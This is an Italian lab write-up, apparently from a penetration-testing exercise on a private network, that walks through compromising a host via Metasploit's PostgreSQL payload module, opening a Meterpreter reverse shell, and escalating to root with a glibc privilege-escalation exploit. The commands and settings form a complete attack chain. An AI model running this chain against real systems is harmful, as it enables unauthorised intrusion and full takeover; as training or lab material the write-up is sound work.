Verifica della connessione alla macchina target

Per prima cosa, ho verificato che la macchina target fosse online e raggiungibile utilizzando il comando:

```
ping 192.168.50.102
```

L'output ha confermato che la macchina rispondeva correttamente, quindi ero pronto a procedere con l'attacco.

Sfruttamento della vulnerabilità PostgreSQL

Ho avviato **Metasploit** con il comando:

```
msfconsole
```

Successivamente, ho caricato il modulo per sfruttare la vulnerabilità su PostgreSQL:

```
use exploit/linux/postgres/postgres_payload
```

Ho configurato i parametri dell'exploit:

- **RHOST**: l'indirizzo IP della macchina target `192.168.50.102`.
- **LHOST**: il mio indirizzo IP di Kali Linux `192.168.50.101`.

Comandi eseguiti:

```
set RHOST 192.168.50.102
set LHOST 192.168.50.101
```

Ho lanciato l'exploit:

```
exploit
```

Risultato:
L'exploit ha funzionato correttamente, permettendomi di ottenere una sessione **Meterpreter** sulla macchina target.

Ricerca di vulnerabilità locali

Con la sessione **Meterpreter** attiva, ho utilizzato il modulo **local_exploit_suggester** per cercare vulnerabilità locali che avrei potuto sfruttare per ottenere privilegi più elevati:

```
run post/multi/recon/local_exploit_suggester
```

Il risultato ha mostrato diversi exploit locali possibili, tra cui:

- `exploit/linux/local/glibc_ld_audit_dso_load_priv_esc`.

Ho scelto questo exploit per procedere con l'escalation di privilegi.

Escalation di privilegi

Ho messo in **background** la sessione Meterpreter corrente usando il comando:

```
bg
```

Ho poi caricato il modulo dell'exploit suggerito:

```
use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
```

Ho configurato i parametri dell'exploit:

- **SESSION**: la sessione attiva, impostata su `1`.
- **LHOST**: il mio IP `192.168.50.101`.
- **LPORT**: la nuova porta `4445` per il reverse shell.

Comandi eseguiti:

```
set session 1
set LHOST 192.168.50.101
set LPORT 4445
exploit
```

Risultato:
L'exploit ha avuto successo, aprendo una **nuova sessione Meterpreter** con privilegi elevati.

Verifica dei privilegi (root)

Nella nuova sessione, ho verificato l'utente corrente con il comando:

```
getuid
```

L’output ha confermato:

```
Server username: root
```

Questo ha dimostrato che avevo completato l’escalation di privilegi e ottenuto il pieno controllo della macchina come utente **root**.